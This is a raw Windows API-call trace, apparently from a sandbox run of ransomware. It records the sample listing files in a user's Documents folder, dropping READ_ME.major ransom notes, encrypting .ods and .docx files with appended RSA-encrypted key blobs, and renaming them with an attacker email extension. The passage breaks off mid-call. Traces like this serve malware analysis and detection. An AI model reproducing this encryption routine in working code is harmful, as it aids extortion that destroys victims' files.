GetLastError () returned 0x0 [0156.064] SetLastError (dwErrCode=0x0) [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0156.064] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfebcfbc0, ftCreationTime.dwHighDateTime=0x1d4d513, ftLastAccessTime.dwLowDateTime=0x41fd10e0, ftLastAccessTime.dwHighDateTime=0x1d4d1a5, ftLastWriteTime.dwLowDateTime=0x41fd10e0, ftLastWriteTime.dwHighDateTime=0x1d4d1a5, nFileSizeHigh=0x0, nFileSizeLow=0x11006, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="9Wxq-IexF49BHuLEER0W.docx", cAlternateFileName="9WXQ-I~1.DOC")) returned 1 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0156.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0156.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0156.065] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdbf59870, ftCreationTime.dwHighDateTime=0x1d4d443, ftLastAccessTime.dwLowDateTime=0xf61b4000, ftLastAccessTime.dwHighDateTime=0x1d4cb20, ftLastWriteTime.dwLowDateTime=0xf61b4000, ftLastWriteTime.dwHighDateTime=0x1d4cb20, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iBkXE7cA", cAlternateFileName="")) returned 1 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0156.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.065] GetLastError () returned 0x0 [0156.065] SetLastError (dwErrCode=0x0) [0156.066] GetLastError () returned 0x0 [0156.066] SetLastError (dwErrCode=0x0) [0156.066] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\iBkXE7cA\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ibkxe7ca\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.066] WriteFile (in: hFile=0x6bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.067] CloseHandle (hObject=0x6bc) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1e0 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0156.068] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3fb58e90, ftCreationTime.dwHighDateTime=0x1d4ce47, ftLastAccessTime.dwLowDateTime=0x14368f00, ftLastAccessTime.dwHighDateTime=0x1d4d4c6, ftLastWriteTime.dwLowDateTime=0x14368f00, ftLastWriteTime.dwHighDateTime=0x1d4d4c6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="IKcsRIo9dLn", cAlternateFileName="IKCSRI~1")) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.068] GetLastError () returned 0x0 [0156.068] SetLastError (dwErrCode=0x0) [0156.068] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\IKcsRIo9dLn\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\ikcsrio9dln\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653418 | out: hHeap=0x570000) returned 1 [0156.070] WriteFile (in: hFile=0x6bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.071] CloseHandle (hObject=0x6bc) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.071] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3de9e120, ftCreationTime.dwHighDateTime=0x1d4c7b6, ftLastAccessTime.dwLowDateTime=0x9af89730, ftLastAccessTime.dwHighDateTime=0x1d4cf3b, ftLastWriteTime.dwLowDateTime=0x9af89730, ftLastWriteTime.dwHighDateTime=0x1d4cf3b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="mkzVCdF4yBYNJ2CnJ", cAlternateFileName="MKZVCD~1")) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0156.071] GetLastError () returned 0x0 [0156.071] SetLastError (dwErrCode=0x0) [0156.071] GetLastError () returned 0x0 [0156.071] SetLastError (dwErrCode=0x0) [0156.071] GetLastError () returned 0x0 [0156.071] SetLastError (dwErrCode=0x0) [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.071] GetLastError () returned 0x0 [0156.072] SetLastError (dwErrCode=0x0) [0156.072] GetLastError () returned 0x0 [0156.072] SetLastError (dwErrCode=0x0) [0156.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.072] GetLastError () returned 0x0 [0156.072] SetLastError (dwErrCode=0x0) [0156.072] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\mkzVCdF4yBYNJ2CnJ\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\mkzvcdf4ybynj2cnj\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.072] WriteFile (in: hFile=0x6bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.073] CloseHandle (hObject=0x6bc) returned 1 [0156.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0156.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0156.074] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49e88910, ftCreationTime.dwHighDateTime=0x1d4c5ac, ftLastAccessTime.dwLowDateTime=0x7d4f13f0, ftLastAccessTime.dwHighDateTime=0x1d4c953, ftLastWriteTime.dwLowDateTime=0x7d4f13f0, ftLastWriteTime.dwHighDateTime=0x1d4c953, nFileSizeHigh=0x0, nFileSizeLow=0x9f25, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="o rzjH_Ab.ods", cAlternateFileName="ORZJH_~1.ODS")) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.074] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17051aa5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17051aa5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] GetLastError () returned 0x0 [0156.074] SetLastError (dwErrCode=0x0) [0156.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.074] FindNextFileW (in: hFindFile=0x631100, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17051aa5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17051aa5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.075] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\o rzjH_Ab.ods", dwFileAttributes=0x80) returned 1 [0156.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.075] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\o rzjH_Ab.ods" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\o rzjh_ab.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.075] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40741) returned 1 [0156.076] ReadFile (in: hFile=0x6bc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x9f25, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x9f25, lpOverlapped=0x0) returned 1 [0156.078] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=-40741, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.078] WriteFile (in: hFile=0x6bc, lpBuffer=0x65d7e0*, nNumberOfBytesToWrite=0x9f25, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65d7e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9f25, lpOverlapped=0x0) returned 1 [0156.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d7e0 | out: hHeap=0x570000) returned 1 [0156.078] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9f25 [0156.078] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.078] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.078] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.078] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="bN3sZ1+HQCk6nqt7s5nDO33ayGkvzaKGfCwcrEYdjlY/RO7nlljyeIqWsXML+2c1\nblsDD3QhQlRuLYZtVQN2PINaIcQcoJxoPPWI9ufu/TVlRaZVNoMQCZILcu6aumP+\nAC5+J6pcOHcA5zq5wAY/3ZYOyzzusDeC1H24qSasZfMna8cARRmaDqgHZxCnQIGP\ntONrSbjPj8s+MjwztOHM0OjjdxFNIgDpqPGpoWa/y/MjQsW0nACO5liHpPWM5H/7\nWMzsq90BBkts/PTVvITi+gnJ6KXPoZidZziZ85cB6BUFUk/FDw2SKfwoWFnnDpvv\njrDOWArxQGdNw9ISGC9jDQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.078] WriteFile (in: hFile=0x6bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.079] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.079] CloseHandle (hObject=0x6bc) returned 1 [0156.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.079] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\o rzjH_Ab.ods" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\o rzjh_ab.ods"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\o rzjH_Ab.ods.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\o rzjh_ab.ods.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0156.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x653380 [0156.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0156.081] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.081] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\9Wxq-IexF49BHuLEER0W.docx", dwFileAttributes=0x80) returned 1 [0156.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x6534b0 [0156.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x60fb60 [0156.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6534b0 | out: hHeap=0x570000) returned 1 [0156.081] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\9Wxq-IexF49BHuLEER0W.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\9wxq-iexf49bhuleer0w.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.082] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=69638) returned 1 [0156.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11006) returned 0x6538b0 [0156.082] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11006) returned 0x2e60f28 [0156.082] ReadFile (in: hFile=0x6bc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x11006, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x11006, lpOverlapped=0x0) returned 1 [0156.084] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=-69638, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.084] WriteFile (in: hFile=0x6bc, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x11006, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11006, lpOverlapped=0x0) returned 1 [0156.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.084] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.085] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11006 [0156.085] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.085] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.085] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.086] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.086] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.086] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="6kGxCEpgDMV2EddM/9G73wlKa4JuyR/VbBIef0SIPsG79szXzvIVcrP+p7RDIUq6\nuT2/eyYMnIv6KPipybHmeUnuARGTvfN/gACMTBxZEEGMrFz/CBJqyQuO8MCC9ffp\n/o0ONVfZtz4AeYse1NfuHcZpdbH6VWxiR+gXE2pXXCTkLWQAkJ5c8I2L06PQB4R+\nZgHKv0BEu3Ty4F1haDiweNt39yLEw4tm9ZiDNBi9CFzO+IqYpuW1eLRjvUPWgz5a\nN3i74NBXa/X2EtZdb6/IJsYENgI7EUT298bmWkqeWRkk3Solrn7Vjhm7VRV/Zig9\ntHFX6NsGJb3PMkGQzMnDIA==\n", pcchString=0x2e3f9a8) returned 1 [0156.086] WriteFile (in: hFile=0x6bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.086] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.086] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.086] CloseHandle (hObject=0x6bc) returned 1 [0156.086] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.086] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\9Wxq-IexF49BHuLEER0W.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\9wxq-iexf49bhuleer0w.docx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\9Wxq-IexF49BHuLEER0W.docx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\9wxq-iexf49bhuleer0w.docx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60fb60 | out: hHeap=0x570000) returned 1 [0156.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653380 | out: hHeap=0x570000) returned 1 [0156.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6532e8 | out: hHeap=0x570000) returned 1 [0156.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0156.088] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.088] SetFileAttributesW 